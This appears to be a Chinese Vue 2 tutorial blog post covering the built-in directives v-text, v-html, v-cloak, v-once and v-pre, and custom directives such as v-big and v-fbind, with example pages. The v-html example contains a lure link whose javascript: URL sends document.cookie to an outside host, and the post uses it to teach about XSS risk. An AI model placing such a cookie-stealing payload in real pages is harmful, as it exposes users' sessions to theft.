Vue2学习七-Vue核心(内置指令、自定义指令)

目录

15.内置指令

15.1 v-text指令

15.2 v-html指令

15.3 v-cloak指令

15.4 v-once指令

15.5 v-pre指令

16.自定义指令


15.内置指令

v-bind : 单向绑定解析表达式,可简写为·:XXX
v-model: 双向数据绑定
v-for  : 遍历数组/对象/字符串
v-on   : 绑定事件监听,可简写为@
v-if   : 条件渲染(动态控制节点是否存存在)
v-else : 条件渲染(动态控制节点是否存存在)
v-show : 条件渲染(动态控制节点是否展示)

15.1 v-text指令

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-text指令</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<div>你好,{{name}}</div>
			<div v-text="name"></div>
			<div v-text="str"></div>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		
		new Vue({
			el:'#root',
			data:{
				name:'百度',
				str:'<h3>你好啊!</h3>'
			}
		})
	</script>
</html>

v-text指令:
    1.作用:向其所在的节点中渲染文本内容。
    2.与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会。

15.2 v-html指令

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-html指令</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<div>你好,{{name}}</div>
			<div v-html="str"></div>
			<div v-html="str2"></div>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		new Vue({
			el:'#root',
			data:{
				name:'百度',
				str:'<h3>你好啊!</h3>',
				str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>',
			}
		})
	</script>
</html>

1.作用:向指定节点中渲染包含htm结构的内容。
2.与插值语法的区别:
    (1).v-html会替换掉节点中所有的内容,{{xx}}则不会。
    (2).v-html可以识别html结构。
3.严重注意:v-html有安全性问题
    (1).在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。
    (2).一定要在可信的内容上使用v-html,永不要用在用户提交的内容上

15.3 v-cloak指令

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-cloak指令</title>
		<style>
			[v-cloak]{
				display:none;
			}
		</style>
		<!-- 引入Vue -->
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h2 v-cloak>{{name}}</h2>
		</div>
		<script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>
	</body>
	
	<script type="text/javascript">
		console.log(1)
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		
		new Vue({
			el:'#root',
			data:{
				name:'百度'
			}
		})
	</script>
</html>

v-cloak指令(没有值):
    1.本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。
    2.使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。

15.4 v-once指令

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-once指令</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h2 v-once>初始化的n值是:{{n}}</h2>
			<h2>当前的n值是:{{n}}</h2>
			<button @click="n++">点我n+1</button>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		
		new Vue({
			el:'#root',
			data:{
				n:1
			}
		})
	</script>
</html>

 v-once指令:
        1.v-once所在节点在初次动态渲染后,就视为静态内容了。
        2.以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。

15.5 v-pre指令

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-pre指令</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h2 v-pre>Vue其实很简单</h2>
			<h2 >当前的n值是:{{n}}</h2>
			<button @click="n++">点我n+1</button>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		new Vue({
			el:'#root',
			data:{
				n:1
			}
		})
	</script>
</html>

    v-pre指令:
        1.跳过其所在节点的编译过程。
        2.可利用它跳过-->没有使用指令语法、没有使用插值语法的节点,可以加快编译。

16.自定义指令

需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍。
需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点。

<body>
    <div id="root">
        <h3>当前的值是:<span v-text="n"></span></h3>
        <!-- <h3>放大10倍后的值是:<span v-big-number="n"></span></h3> -->
        <h3>放大10倍后的值是:<span v-big="n"></span></h3>
        <button @click="n++">点我n+1</button>
        <hr>
        <input type="text" v-fbind:value="n">
    </div>
</body>
<script>
    Vue.config.productionTip = false;
    //定义全局指令
    Vue.directive('fbind2', {
        //指令与元素成功绑定时(一上来)
        bind(element, binding) {
            element.value = binding.value;
        },
        //指令所在元素被插入页面时
        inserted(element, binding) {
            element.focus();
        },
        //指令所在的模板被重新解析时
        update(element, binding) {
            element.value = binding.value;
        }
    })

    new Vue({
        el: '#root',
        data: {
            n: 1
        },
        directives: {
            //big函数何时被调用?1.指令与元素成功绑定时(一上来)。2.指令所在的模板被重新解析时。
            // 'big-number'(element, binding) {
            //     element.innerText = binding.value * 10;
            // },
            big(element, binding) {
                element.innerText = binding.value * 10;
                console.log(this); //此处的this是window
            },
            fbind: {
                //指令与元素成功绑定时(一上来)
                bind(element, binding) {
                    element.value = binding.value;
                },
                //指令所在元素被插入页面时
                inserted(element, binding) {
                    element.focus();
                },
                //指令所在的模板被重新解析时
                update(element, binding) {
                    element.value = binding.value;
                }
            }
        }
    })
</script>

自定义指令总结:
一、定义语法:
(1).局部指令:
new vue({ 
        directives:{指令名:配置对象}
}) 

new Vue({

        directives{指令名:回调函数}

}) 
(2).全局指令:
Vue.directive(指令名,配置对象) 或  Vue.directive(指令名,回调函数)


二、配置对象中常用的3个回调:
    (1).bind:指令与元素成功绑定时调用。
    (2).inserted:指令所在元素被插入页面时调用。
    (3).update:指令所在模板结构被重新解析时调用。


三、备注:
    1.指令定义时不加v-,但使用时要加v-
    2.指令名如果是多个单词,要使用kebab-case命名方式,不要用camelCase命名。

  • 21
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值